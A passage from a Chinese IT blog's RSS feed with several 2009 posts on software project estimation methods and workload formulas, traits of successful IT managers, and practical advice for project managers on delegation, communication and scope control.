    对于任何一个项目经理，都知道要慎重估算，但是我们仍然会看到人力资源的浪费和财力资源的匮乏，在许多项目中存在。对于宝贵的资源，我们不是用得太多，就是根本不够用。因此，有以下前人总结出来的一些经验以供借鉴。<br />
    不要追求完美：就像没有人能预测出未来，如果还没有完成，就不要企图完美的结果。更何况估算的太精确，反而会失去灵活机动的空间。</p>
<p>    不要为满足预算而估算：如果这个项目的预算根本不能完成100%的任务，那么就不要让你的团队委曲求全。正确地反映客观现状，不仅可以争取应得的权利，而且是完成任务的前提。</p>
<p>    不要随意削减估算结果：有很多老板喜欢把项目经理递交的估算，不假思索地砍掉一部分。这是一种不负责任的做法，如果要削减一定要有理由。<br />
    客观地估算，不贪多不偷减：就像老板不能随便削减你的估算一样，你也同样不能在估算的时候，贪多或是偷减。贪多必然导致会浪费，偷减必然导致不足。这两个结果恐怕都不是一个合格的项目经理的作为。</p>
<p>    客观利用过去的经验：对于以往估算的经验，当然是宝贵的财富，但是如果财富用错了地方就会变成垃圾。在使用经验时，要注意现在和参考经验之间的差异。不要忘记，随着时间的推移，计算机领域技术的更新，许多观念都在发生着改变。<br />
    不要以客户目标作为估算的结果：客户是上帝，软件公司一定要尽力实现客户的需求。但我们要实现的是合理的目标，况且不能为了完成目标而去堆积数字，这样岂不是因果倒置了。<br />
    不要隐匿不确定的成本：软件开发中存在潜在风险，是很正常的事情。现在风险就会带来潜在的成本，如：突然一位程序员离职，导致工作进度路落后。我们不可能估算到任何一种可能发生的情况，但有责任把可能出现的一些关键环节列出来。<br />
 2、估算的对象<br />
    目前为止，一个较为准确的软件项目估算的定义是：在给定公差范围内，对于姚开发的软件规模的预测，以及对开发软件所需的工作量、成本和日历事件的预测。这个概念指出了一个事实，即估算是一种大约的估计，是将误差限定在一定范围内的估计。<br />
    估算主要包括以下几个重要内容：<br />
    ◆ 规模估算<br />
    软件估算首先要将整个工程的规模估算出来，才能进行下面的其他估算。规模，就是一个工程可量化的结果，是用具体数字来体现项目的描述。规模估算的信息来源是清晰、有界限的用户需求。<br />
    ◆ 工作量估算<br />
    这是对开发软件所需的工作时间的估算，它和进度估算一起决定了开发团队的规模和构建。通常以人时、人天、人月、人年的单位来衡量，这些不同单位之间可以进行合理的转换。<br />
    ◆ 进度估算<br />
    进度时项目自始至终之间的一个时间段。进度以不同阶段的里程碑作为标志。进度估算是针对以阶段为单位的估算，而不是对每一个细小任务都加以估算，对任务的适当分解很重要，分解得越细反而会不准确。因为任何一个软件工程，在各个方面都有与生俱来的不确定性。<br />
    ◆ 成本估算<br />
    包括人力、物质、有形的、无形的支出成本估算，其中以人力成本为主要部分。比较容易被忽视的使学习成本、软件培训成本、人员变动风险成本、开发延期成本等，一些潜在成本消耗。<br />
    3、估算的策略<br />
    在软件估算的众多方法中，存在着“自顶向下”和“自底向上”两种不同的策略，两种策略的出发点不同，适应于不同的场合使用。<br />
    3．1、自顶向下的策略<br />
    这是一种站在客户的角度来看问题的策略。它总是以客户的要求为最高目标，任何估算结果都必须符合这个目标。其工作方法是，由项目经理为主的一个核心小组根据客户的要求，确定一个时间期限，然后根据这个期限，将任务分解，将开发工作进行对号入座，以获得一个估算结果。<br />
    当然由于这完全是从客户要求出发的策略，而由于软件工程是一个综合项目，几乎没有哪个项目能完全保质保量按照预定工期完工，那么这样一个策略就缺少了许多客观性。但是由于这样完成的估算比较容易被客户、甚至被项目经理所接受，在许多公司我们看到这样一个并不科学的策略仍然被坚定地执行着。<br />
    3．2、自底向上的策略<br />
    与自顶向下的策略完全相反，自底向上的策略是一种从技术、人性的角度出发看问题的策略。在这样一个策略指引下，将项目充分讨论得到一个合理的任务分解。在将每个任务的难易程度，每个任务依照项目成员的特点、兴趣特长进行分配，并要求进行估算。最后将估算加起来就是项目的估算值。<br />
    显然自底向上的这种策略具有较为客观的特点，但是它的缺点就是这样一来项目工期就和客户的要求不一致了。而且由于其带来的不确定性，许多项目经理也不会采用这种方法。<br />
    4、估算的方法<br />
    显然估算是建立在客观实际上，对未来尽可能合理的一种预测。那么估算本身的不确定性，决定了它不可能是百分之百准确无误的。在项目刚开始时，人们对产品需求、技术、市场预期、人员素质等因素的了解还远远不够，在这种情况下人们很难作出准确的估计。但是依据某种方法进行估计显然比瞎猜好得多。<br />
    估算方法有很多，大致分为基于分解的技术和基于经验模型两大类。基于分解的技术的方法包括功能点估算法、LOC估算法、MARK II等；基于经验模型的方法包括IBM模型、普特南模型、COCOMO模型等。<br />
    4．1、FP功能点估算法<br />
    功能点估算法是一种在需求分析阶段基于系统功能的一种规模估计方法。通过研究初始应用需求来确定各种输入、输出、计算和数据库需求的数量和特性。这种方法的计算公式是：功能点=信息处理规模x技术复杂度。信息处理规模包括各种输入、输出、查询、内部逻辑文件数、外部接口文件数等等；技术复杂度包括性能复杂度、配置项目复杂度、数据通信复杂度、分布式处理复杂度、在线更新复杂度等等。<br />
    4．2、LOC估算法<br />
    这是一种从技术的角度来估算的方法总称，其中又包含许多方法。这类方法以代码（LOC）作为软件工作量的估算单位，在早期的系统开发中较为广泛使用。基于LOC的估算，又有点也有缺点。优点在于方便计算、容易监控、能反映程序员的思维能力；缺点在于代码行数的含糊不清，不能正确反映一项工作的难易程度以及代码的效率。因此在传统的LOC方法进行了许多改进。其中不断被使用，且不断演化的方法包括以下：<br />
    PERT功能点估算法：PERT对各个项目活动的完成时间按三种不同情况估计：一个产品的期望规模，一个最低可能估计，一个最高可能估计。用这三个估计用来得到一个产品期望规模和标准偏差的Pert 统计估计，Pert 估计可得到代码行的期望值和标准偏差SD。<br />
    类比估算法：类比法适合评估一些与历史项目在应用领域、环境和复杂度的相似的项目，通过新项目与历史项目的比较得到规模估计。类比法估计结果的精确度取决于历史项目数据的完整性和准确度，因此，用好类比法的前提条件之一是组织建立起较好的项目后评价与分析机制，对历史项目的数据分析是可信赖的。<br />
    Delphi估算法：Delphi法是一种专家评估技术，在没有历史数据的情况下，这种方式适用于评定过去与将来，新技术与特定程序之间的差别。对于需要预测和深度分析的领域，依赖于专家的技术指导，可以获得较为客观的估算。通过专家们的互相讨论，还可以博取众长。<br />
    系统分解：将系统分成若干个易于用LOC估算的部分，将其各个估算结果累加就是LOC的总规模。其中关键是建立起SBS（系统分解结构），它描述了系统的不同组件。SBS还被使用在其他重要的地方，如系统设计、系统分析等。在进行分解的时候，可以采用自由讨论的形式，可以获得更合理的SBS构成。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1401.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IT项目管理-计划-估算</title>
		<link>http://www.evanjiang.net.cn/archives/1399.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1399.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 00:54:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[信息管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1399</guid>
		<description><![CDATA[<p>  对于软件项目，估算有很重要的地位，估算步骤最好是能够先估算规模，再根据生产率得到总体工作量，再根据总体工作量预计项目各阶段周期。类别估算，参数估算，专家法或三点法估算，功能点估算等都常在软件项目中使用。
    在没有充分的历史数据积累的情况下建议参与专家法通过类别方式进行估算，有了足够的历史数据来检验和校正估算参数和可以过渡到功能点估算和专家估算。项目在进行过程中需要不断的积累和收集历史项目的实际执行数据，形成工作量比例分布，生产率等实际的估算参数基准。
    1.主体任务工作量
    估算在软件生命周期中的需求，设计，编码，测试等活动是项目的主体工作任务，也是估算的重点。对于软件项目在计划阶段很难直接估算到功能点的代码行，因此一般采 用对功能点或用例点进行估算，这样就可以得到需求的规模。需求规模/需求生产率可以得到需求阶段的工作量，再根据工作量比例分布即可以得到设计，编码等阶 段的工作量估算数据。
    对于软件项目历史数据足够和积累了更多的经验后，可以根据各阶段产出物的规模/生产率分别来得到各阶段的工作量。
    设计工作量 = 设计规模（设计类，接口等数量）/设计生产率编码工作量 = 代码行/代码生产率测试工作量 = 测试用例数/测试生产率通过以上方法基本就可以得到主体任务的规模和工作量估算数据。
    2.评审任务工作量
    估算项目究竟应该安排哪些评审，在哪个阶段安排，评审的覆盖率要达到多少等都应该根据项目质量计划和质量策略来确定。评审是预防和保证质量，投入适量的评审可以大大的减少缺陷的泄漏和返工。
    评审工作量的安排并不是越多越好，项目总周期和工作量是一定的，评审安排太多则后期主体任务和返工工作量则会被压缩。评审的关键是发现可能导致项目重大工作量偏差的缺陷泄漏，而不是要100%防止任何缺陷的泄漏。
    对于评审的工作量 = 评审人数*产出物的规模/评审速率对于不同类型的工件都应该有一个最合适的评审速率，因此评审的工作量应该是根据待评审工件的实际规模确定的，而不是先确定了工作量而在评审过程中随意的去改变评审的速度，这样的话评审很难真正发现关键缺陷。
    3.返工的工作量
   [...]]]></description>
			<content:encoded><![CDATA[<p>  对于软件项目，估算有很重要的地位，估算步骤最好是能够先估算规模，再根据生产率得到总体工作量，再根据总体工作量预计项目各阶段周期。类别估算，参数估算，专家法或三点法估算，功能点估算等都常在软件项目中使用。<br />
    在没有充分的历史数据积累的情况下建议参与专家法通过类别方式进行估算，有了足够的历史数据来检验和校正估算参数和可以过渡到功能点估算和专家估算。项目在进行过程中需要不断的积累和收集历史项目的实际执行数据，形成工作量比例分布，生产率等实际的估算参数基准。<br />
    1.主体任务工作量<br />
    估算在软件生命周期中的需求，设计，编码，测试等活动是项目的主体工作任务，也是估算的重点。对于软件项目在计划阶段很难直接估算到功能点的代码行，因此一般采 用对功能点或用例点进行估算，这样就可以得到需求的规模。需求规模/需求生产率可以得到需求阶段的工作量，再根据工作量比例分布即可以得到设计，编码等阶 段的工作量估算数据。<br />
    对于软件项目历史数据足够和积累了更多的经验后，可以根据各阶段产出物的规模/生产率分别来得到各阶段的工作量。<br />
    设计工作量 = 设计规模（设计类，接口等数量）/设计生产率编码工作量 = 代码行/代码生产率测试工作量 = 测试用例数/测试生产率通过以上方法基本就可以得到主体任务的规模和工作量估算数据。<br />
  <span id="more-1399"></span>  2.评审任务工作量<br />
    估算项目究竟应该安排哪些评审，在哪个阶段安排，评审的覆盖率要达到多少等都应该根据项目质量计划和质量策略来确定。评审是预防和保证质量，投入适量的评审可以大大的减少缺陷的泄漏和返工。<br />
    评审工作量的安排并不是越多越好，项目总周期和工作量是一定的，评审安排太多则后期主体任务和返工工作量则会被压缩。评审的关键是发现可能导致项目重大工作量偏差的缺陷泄漏，而不是要100%防止任何缺陷的泄漏。<br />
    对于评审的工作量 = 评审人数*产出物的规模/评审速率对于不同类型的工件都应该有一个最合适的评审速率，因此评审的工作量应该是根据待评审工件的实际规模确定的，而不是先确定了工作量而在评审过程中随意的去改变评审的速度，这样的话评审很难真正发现关键缺陷。<br />
    3.返工的工作量<br />
    对于返工主要是因为缺陷引起的，缺陷可能是评审缺陷也可能是后期系统测试的Bug.在软件项目中对于文档缺陷的修改和Bug的修复应该有不同的返工速率，这是需要历史版本收集和校验的重要参数数据。<br />
    根据项目历史版本一般可以得到项目的缺陷密度预测数据，因此在估算出当前项目的规模后就很容易得到项目的总缺陷数预计，自然就可以计算返工工作量了。<br />
    各阶段的返工工作量 = （项目规模*缺陷密度）/各阶段的返工速率<br />
    4.总结<br />
    对于软件项目估算，历史项目积累的经验数据越多，越稳定则估算越趋于准确。估算是项目计划的一个重点，估算不准确会造成后期项目计划频繁修改，也就谈不上相应的基线和跟踪控制。<br />
    估算出项目总体规模后并不代表项目估算完成，估算数据最终要应用的各个工作包和相关的任务上。因此必须根据各阶段的规模，各阶段的生产率，评审和返工等生产率估算项目中存在的各种类型任务的规模和工作量。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1399.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>成功IT经理的十一个显著特征(转摘于网上）</title>
		<link>http://www.evanjiang.net.cn/archives/1397.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1397.html#comments</comments>
		<pubDate>Wed, 16 Dec 2009 09:52:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[信息管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1397</guid>
		<description><![CDATA[<p>俺在技术岗位上工作已经有三十多年，担任IT经理和CIO也已经超过了二十年。在这段时间里，俺见过很多优秀的IT经理，其中甚至有一些是非常出色的。当然，工作表现不怎么样的IT经理也见过一些。 俺认为，任何IT经理想要拥有成功的IT管理生涯，都必须具备十一个显著特征。尽管会有一些人认为具备这十一个特征还远远不够，也会有一些人觉得技术技能同样重要，凭借自己多年的职场经验，俺仍然坚信这十一个显著特征对于今天的IT经理来说是最为重要的。
　　1、了解公司需求的能力
　　所有的IT经理都需要知道如何才能够了解公司的需求，因为这同自己的技术职责密切相关。不管自己在公司当中的位置如何，作为一名IT经理，你都有必要了解公司的真正需求，只有在此基础上才能做出“正确的事情”。太多的IT经理在制定“IT议程”之前都没有真正了解公司的目标和需求。迅速掌握了解公司技术需求的能力会让你了解自己更多的职责。如果IT经理在制定计划时由于缺乏了解公司需求的技能而“错过了公司的目标”，公司可能会蒙受数万美元的损失。了解公司的技术需求是IT经理职业生涯发展的一个重要组成部分。
　　2、制定前景规划的能力
　　想要成为一名优秀的IT经理，你必须要能够确定自己的目标，并且制定出前景规划，让你手下的员工了解你希望大家通过努力能够取得的成绩。想要成为一名优秀的IT经理，你要担负起自己的职责，领导整个小组向着目标前进。能够制定出计划并且清楚的向自己手下的员工说明的IT经理能够在工作中取得巨大的成功，因为你手下的员工会按照你的要求去做。清楚的向自己手下的员工说明自己的前景规划会让他们了解工作的中心，让他们了解你会带领他们向明确的目标前进。
　　3、制定计划的能力
　　一旦知道了自己想要实现的目标，成功的IT经理会知道如何去制定计划，以实现自己的目标。这意味着要正确估计眼前的形势，知道哪些事应该摆在优先的位置，制定出大胆而又切实可行的计划。对于一名想要取得“高度成功”的IT经理来说，制定计划是一个非常基础的步骤。但可惜有太多的IT经理没有能够做到这一点。在这种情况下，他们所取得的工作成绩要比公司有能力取得的成绩小的多。拥有制定计划的能力，通过计划的实行来实现公司的目标会让你承担更多的工作职责。事先制定计划表明你是一个积极主动而不是一个消极被动的人。
　　4、组建小组的能力
　　成功的IT经理知道组建一个有深度而又有技能的IT小组的重要性。既要知道如何改进现有的IT小组，又要知道如何白手起家，建立一个新的IT小组。我所见过的所有优秀的IT经理都有根据手头的工作任务建立一个有力的工作小组的能力，有正确预计未来工作需求以使整个小组做好应对新挑战的准备的能力。强有力的职业IT经理能够有效的组建自己手下的员工队伍。他们了解职业生涯的重要性，并且愿意把职业生涯的构建作为一种工具，来组建强有力的工作小组，更加独立的开展工作。
　　5、集中使用资源的能力
　　如果想要取得成功，IT经理要集中公司所有的IT工作人员、资金和技术资源，处理最关键最重要的事情。公司技术资源的使用要同公司的需求和目标保持同步，并且要通过多产有效的方式。任何有清楚的职业发展目标的IT经理都知道集中使用资源的重要性。
　　6、贯彻“客户服务”理念的能力
　　对于任何IT公司来说，高水平的客户服务都是非常重要的。成功的IT经理会在员工的心目中贯彻一种客户优先的文化理念——不管是内部用户还是外部客户。优秀的IT经理知道自己职业生涯的存在和发展是由于客户需要他们提供的技术，支持他们提供的服务。这也正是成功的IT经理要同客户建立出色的关系的原因。
　　7、管理项目的能力
　　公司能够以可以预见的有效方式制定出项目计划是所有IT经理开展工作的基础。任何IT经理想要取得成功，都要对项目进行有效的管理。不管你的职业生涯发展方向如何，强有力的项目管理技能都能够增加你获得成功的机会。
　　8、应对变化、进行管理的能力
　　迅速的发展变化是技术的本质特征。每一个IT经理都要了解如何有效的应对变化、进行管理。不能有效的应对变化会影响IT经理职业生涯的发展。
　　9、领导员工并激发其工作热情的能力
　　如果工作热情得不到有效的激发，IT工作人员就无法在工作中发挥出自己最大的能量。成功的IT经理总是能够对员工进行强有力的领导并激发他们的工作热情。成功的管理人员知道如何发挥他人的潜质，这是一项非常重要的技能。
　　10、有效沟通的能力
　　成功的IT经理能够通过多种不同的方式同不同的员工进行沟通。通常，职业生涯的成功在很大的程度上依赖于有效的沟通技能。想要成为成功的IT经理，必须能够同各种人进行有效的沟通，既包括技术人员也包括非技术人员，要同高级经理交换对项目进展状况的看法。很多IT经理就是因为做不到这一点而极大的影响了自己的工作成绩。能够在自己的职业生涯中取得最大的成功的IT经理能够同所有人进行有效的沟通：员工、同行、外部客户、销售商和高层管理人员。
　　11、追踪并衡量工作表现的能力
　　确定目标并以此来衡量工作表现是非常重要的。成功的IT经理能够通过明确的方式来衡量小组的工作表现，并且通过反馈信息来改进工作表现。
　　总结
　　最好的IT经理，也就是那些拥有成功职业生涯的IT经理，拥有上面所提到的每一种技能，能够胜任自己在小组和整个公司中的工作任务。
　　当然，对于IT经理来说，想要在自己的职业生涯中取得更大的发展和成功，还需要掌握其他的一些技能，例如积极主动的工作以及同销售商进行成功的谈判。但是，如果仔细对成功IT职业生涯所需要的技能进行研究，上面所提到的十一点无疑是最最重要的。
　　想要在任何公司中打造成功的IT管理生涯都是一项重大的挑战，因为IT经理的角色总是处在不断的变化之中，并且要受到周围所有人的审视和挑剔。如果你能够在个人的职业生涯发展中学习并掌握上面所提到的十一项技能，你就能够取得更大的成功，也会感受到更多的职责。</p>
]]></description>
			<content:encoded><![CDATA[<p>俺在技术岗位上工作已经有三十多年，担任IT经理和CIO也已经超过了二十年。在这段时间里，俺见过很多优秀的IT经理，其中甚至有一些是非常出色的。当然，工作表现不怎么样的IT经理也见过一些。 俺认为，任何IT经理想要拥有成功的IT管理生涯，都必须具备十一个显著特征。尽管会有一些人认为具备这十一个特征还远远不够，也会有一些人觉得技术技能同样重要，凭借自己多年的职场经验，俺仍然坚信这十一个显著特征对于今天的IT经理来说是最为重要的。<br />
　　1、了解公司需求的能力<br />
　　所有的IT经理都需要知道如何才能够了解公司的需求，因为这同自己的技术职责密切相关。不管自己在公司当中的位置如何，作为一名IT经理，你都有必要了解公司的真正需求，只有在此基础上才能做出“正确的事情”。太多的IT经理在制定“IT议程”之前都没有真正了解公司的目标和需求。迅速掌握了解公司技术需求的能力会让你了解自己更多的职责。如果IT经理在制定计划时由于缺乏了解公司需求的技能而“错过了公司的目标”，公司可能会蒙受数万美元的损失。了解公司的技术需求是IT经理职业生涯发展的一个重要组成部分。<br />
　　2、制定前景规划的能力<br />
　　想要成为一名优秀的IT经理，你必须要能够确定自己的目标，并且制定出前景规划，让你手下的员工了解你希望大家通过努力能够取得的成绩。想要成为一名优秀的IT经理，你要担负起自己的职责，领导整个小组向着目标前进。能够制定出计划并且清楚的向自己手下的员工说明的IT经理能够在工作中取得巨大的成功，因为你手下的员工会按照你的要求去做。清楚的向自己手下的员工说明自己的前景规划会让他们了解工作的中心，让他们了解你会带领他们向明确的目标前进。<br />
　　3、制定计划的能力<br />
　　一旦知道了自己想要实现的目标，成功的IT经理会知道如何去制定计划，以实现自己的目标。这意味着要正确估计眼前的形势，知道哪些事应该摆在优先的位置，制定出大胆而又切实可行的计划。对于一名想要取得“高度成功”的IT经理来说，制定计划是一个非常基础的步骤。但可惜有太多的IT经理没有能够做到这一点。在这种情况下，他们所取得的工作成绩要比公司有能力取得的成绩小的多。拥有制定计划的能力，通过计划的实行来实现公司的目标会让你承担更多的工作职责。事先制定计划表明你是一个积极主动而不是一个消极被动的人。<br />
　<span id="more-1397"></span>　4、组建小组的能力<br />
　　成功的IT经理知道组建一个有深度而又有技能的IT小组的重要性。既要知道如何改进现有的IT小组，又要知道如何白手起家，建立一个新的IT小组。我所见过的所有优秀的IT经理都有根据手头的工作任务建立一个有力的工作小组的能力，有正确预计未来工作需求以使整个小组做好应对新挑战的准备的能力。强有力的职业IT经理能够有效的组建自己手下的员工队伍。他们了解职业生涯的重要性，并且愿意把职业生涯的构建作为一种工具，来组建强有力的工作小组，更加独立的开展工作。<br />
　　5、集中使用资源的能力<br />
　　如果想要取得成功，IT经理要集中公司所有的IT工作人员、资金和技术资源，处理最关键最重要的事情。公司技术资源的使用要同公司的需求和目标保持同步，并且要通过多产有效的方式。任何有清楚的职业发展目标的IT经理都知道集中使用资源的重要性。<br />
　　6、贯彻“客户服务”理念的能力<br />
　　对于任何IT公司来说，高水平的客户服务都是非常重要的。成功的IT经理会在员工的心目中贯彻一种客户优先的文化理念——不管是内部用户还是外部客户。优秀的IT经理知道自己职业生涯的存在和发展是由于客户需要他们提供的技术，支持他们提供的服务。这也正是成功的IT经理要同客户建立出色的关系的原因。<br />
　　7、管理项目的能力<br />
　　公司能够以可以预见的有效方式制定出项目计划是所有IT经理开展工作的基础。任何IT经理想要取得成功，都要对项目进行有效的管理。不管你的职业生涯发展方向如何，强有力的项目管理技能都能够增加你获得成功的机会。<br />
　　8、应对变化、进行管理的能力<br />
　　迅速的发展变化是技术的本质特征。每一个IT经理都要了解如何有效的应对变化、进行管理。不能有效的应对变化会影响IT经理职业生涯的发展。<br />
　　9、领导员工并激发其工作热情的能力<br />
　　如果工作热情得不到有效的激发，IT工作人员就无法在工作中发挥出自己最大的能量。成功的IT经理总是能够对员工进行强有力的领导并激发他们的工作热情。成功的管理人员知道如何发挥他人的潜质，这是一项非常重要的技能。<br />
　　10、有效沟通的能力<br />
　　成功的IT经理能够通过多种不同的方式同不同的员工进行沟通。通常，职业生涯的成功在很大的程度上依赖于有效的沟通技能。想要成为成功的IT经理，必须能够同各种人进行有效的沟通，既包括技术人员也包括非技术人员，要同高级经理交换对项目进展状况的看法。很多IT经理就是因为做不到这一点而极大的影响了自己的工作成绩。能够在自己的职业生涯中取得最大的成功的IT经理能够同所有人进行有效的沟通：员工、同行、外部客户、销售商和高层管理人员。<br />
　　11、追踪并衡量工作表现的能力<br />
　　确定目标并以此来衡量工作表现是非常重要的。成功的IT经理能够通过明确的方式来衡量小组的工作表现，并且通过反馈信息来改进工作表现。<br />
　　总结<br />
　　最好的IT经理，也就是那些拥有成功职业生涯的IT经理，拥有上面所提到的每一种技能，能够胜任自己在小组和整个公司中的工作任务。<br />
　　当然，对于IT经理来说，想要在自己的职业生涯中取得更大的发展和成功，还需要掌握其他的一些技能，例如积极主动的工作以及同销售商进行成功的谈判。但是，如果仔细对成功IT职业生涯所需要的技能进行研究，上面所提到的十一点无疑是最最重要的。<br />
　　想要在任何公司中打造成功的IT管理生涯都是一项重大的挑战，因为IT经理的角色总是处在不断的变化之中，并且要受到周围所有人的审视和挑剔。如果你能够在个人的职业生涯发展中学习并掌握上面所提到的十一项技能，你就能够取得更大的成功，也会感受到更多的职责。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1397.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>再议 如何做好项目经理</title>
		<link>http://www.evanjiang.net.cn/archives/1395.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1395.html#comments</comments>
		<pubDate>Sat, 12 Dec 2009 05:12:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1395</guid>
		<description><![CDATA[<p>看到不少的朋友都在需求如何做好项目经理的问题，见到建设性的建议也不是很多。在此开辟一个版块，逐步的分享下一些心得。 我也做了6年的项目经理，虽然时间也不算长，但大小项目也经历了不少。
记得一本书上提到，如果你喜欢一个人，让他去做项目经理，那会让一个人经历磨练，很快的成熟；如果你狠一个人，让他去做项目经理，这样会在短期内给一个人最大的打击，让自己感到自身的渺小，如同风中的树叶不受自己控制&#8230;呵呵，的确我也经历过无数这样的事情。
由于工作比较忙，只有抽空不断更新此帖。希望大家不要随意灌水，多给些有建设性的意见。
先传个入门级的读物吧
项目经理: 重大局不做瓶颈
水平很高的顾问未必能做好项目经理，因为在某种意义上，你可能太相信自己了，你不放心也不相信你的项目成员能和你一样能把工作做得很出色，所以所有的事情你都想自己干，但项目内容实在太多，你忙不过来，项目成员在旁边却无事可干，干着急帮不上忙，偶尔帮上了，还被你臭一顿。只有无限同情地看着你，看着这个可怜的所谓项目经理。 </p>
<p>久而久之，项目变成了你一个人的项目，项目成员成了看客，你天天埋怨底下这帮人真笨，没本事，什么都要靠你自己；项目成员天天想这个项目经理实在没水平，根本不会安排工作，跟着这样的人，完全是在浪费时间，一点成就感也没有。 </p>
<p>项目经理，为什么你总是项目工作进展的瓶颈？ </p>
<p>我刚开始做项目经理的时候也有同样的烦恼，也完全束手无策，现在好多了。因为从心态上，我知道自己一定不是这个世界上把事情做得最好的人，我相信就在我的项目组里一定有做得比我好的人，只是我没发现，或者我没告诉别人要做什么，怎么做。 </p>
<p>作为项目经理，如果你还没把你能干的事情交给别人干，那你实在是太可怜了，或者说你根本不会当项目经理。就好像我们很多管理者整天忙于业务一样，总是忙于喂“猴子”，帮所有的人喂“猴子”，自己饿死了，底下的人却一身轻松地潇洒而去。 </p>
<p>刚做项目经理的时候，事情往往不太容易想明白，而事情没想明白就觉得任务无法分下去，即便勉强分下去了，拿出来的东西也不是自己要的。于是很烦，觉得还不如自己干。咨询就是这么奇怪的一件事情，等你完全想明白的时候，事情也做完了。这样反反复复几次，顾问成员觉得你总在变，让人无所适从，于是开始质疑，在你分配工作的时候，问了几个问题你就被问倒了，所以你也不敢再指挥了。于是你威信扫地，无法指挥了，你觉得指挥别人比自己干还累，也不愿意再指挥了。就这样陷入了恶性循环，你只好自己单干。 </p>
<p>项目经理永远要记住的是：项目总体的质量是你控制的，项目内容的质量是靠项目成员保证的。项目总体的质量是指项目边界，项目内容核心关注的点，主要观点的正确性等。 </p>
<p>所以，项目经理首先要判断的是该做什么，不该做什么？一旦决定要做，就开始和项目成员讨论思路，如果自己没有思路，就让项目成员拿思路，讨论到一定程度，就分头去干，干了再讨论，反复几轮就清楚了，而不要等待，等待没有结果，行动才有结果，有些弯路是必须要走的。 </p>
<p>而对于项目成员，永远不要期待在咨询项目中，项目经理告诉你一个明白无比的思路和做事的方式，除非你撞大运了，遇到了一个巨牛无比的项目经理，所以，从项目成员来讲，该忍受的还得忍受，互相帮助才可能把项目做好。 </p>
<p>对于项目经理而言，如果你想得明白，工作模版是你控制项目质量的好工具，所以你的工作是和项目成员讨论模版，并且让他们理解模版，至于根据模版完成的内容，一般而言，你就无能为力了，得靠你的项目成员了。 </p>
<p>对于咨询项目而言，项目经理必须要有一个本事，能抓住重点，当你的项目成员给你100页的报告时，你清楚地知道最关键的是什么？一句话能说清楚，一页PPT能说清楚，十页PPT能说清楚，100页也能说清楚，这是真本事。反过来说，当你分配任务的时候，你要清楚地告诉项目成员里面的关键点在哪里，如果你实在不知道，就让项目成员告诉你，如果他也不知道，那就讨论，实在讨论不清楚了，就开始做，做了再讨论，反反复复，总有清楚的一天。 </p>
<p>项目经理该做什么？ </p>
<p>如果一个4个以上项目成员的项目团队，项目经理还在做具体的事情，花很多时间写具体的文档，那这个项目肯定存在问题了。因为你已经花了太多的经历在具体细节上，意味着更重要的事情你没有关注。在我看来，项目经理最应该做的三件事情是：项目总体计划和控制、沟通和协调资源、处理项目之外的事情。 </p>
<p>• 项目总体计划和控制 </p>
<p>计划只是控制的一个手段，你必须想清楚整个项目的大阶段，在项目进度出问题的时候，如何快速推进。我一般会列出大的阶段性计划和关键要求，具体的阶段的详细计划，我都会安排一个项目成员来总体负责这个阶段的事情，因为我已经没精力了。有问题我们可以讨论，但必须有一双眼睛盯着这件事情。 </p>
<p>另外，我常用的一个手段是文档模板，通过文档模板来控制项目内容和质量，这个非常有用，如果把文档模板只是理解为格式，那就没意思了，文档模板是框架的确立，至少要细化到3级目录，有时候甚至具体的表格、具体的问题和关键字段，详细程度视重要程度而言，这个工作对项目经理而言是非常重要的，会花很多时间。当然，对我而言，我也不会自己写一个扔出去，而是通过讨论，拿笔划划，让项目成员准备初稿，然后一轮一轮的讨论，通过讨论使大家明白这个过程和内容要求。 </p>
<p>• 沟通和协调资源 </p>
<p>有人说项目管理的工作就是沟通、沟通、再沟通。一点没错。项目经理需要沟通的人太多了，客户、项目成员、公司、家里人，一堆人，不花时间怎么能解决问题？所以你必须花大量的时间去沟通。我判断一个项目的成功状态是你到底花了多长时间和客户在一起沟通，对一个项目经理而言，比较理想的状态是你随时可以推开客户方任何一个人的办公室的门去聊，除了有秘书挡架的之外（有秘书挡架的要通过mail、书面材料来补）。一个好的项目经理，在两到三周就能达到这个状态。这个状态的背后意味着你能帮助客户解决问题或者给他帮助和启发，否则就是推门进去了，客户也会把你踹出来。 </p>
<p>另外一个重要工作当然是协调资源，这方面内容很多。最重要的一点是，如果你发现某个问题项目组所有人都搞不定了或者不经济了，想别的办法吧，找别人吧，客户方的，公司的，外面的都可以。这个工作比较难，也很烦琐，所以总体上往往还是要自力更生，艰苦奋斗。借助项目外的资源来解决目标明确的具体问题，协调资源的次序一定是：客户、自己的公司、外部资源，搞错次序了，就复杂且麻烦了。 </p>
<p>• 处理项目之外的事情 </p>
<p>项目经理还有一个很重要的工作就是控制项目范围，怎么控制？要敢于向客户说“不”，但这个“不”不是乱说的，如果你拒绝客户，你就拒绝了自己。这远远不是一个说话的艺术问题，而是是否能站在客户立场上，帮助客户解决问题的问题。即使项目无法很好解决，你需要告诉客户怎么解决，给人一条出路，而不是堵回去。在此基础上再分析在项目的时间、成本、质量和范围约束下，我们能做什么。给客户解决方案，小到参考文档，大到运作项目、整合资源都不是简单的事情，需要投入很多的精力，而不要让项目成员在这方面花太多的时间。所以从这个意义上讲，项目经理的职责是让项目成员在一个相对安全的项目环境中工作。 </p>
<p>做该做的，充分调动项目成员的能力，让他们也参与项目管理的过程中来，决不是推卸责任，对于项目工作和人员培养都是很有好处的，项目经理的眼睛如果只盯在项目本身，项目很难有好的结果。总之，你始终要清醒地认识到，你带领的是一个团队，而不是你自己。 </p>
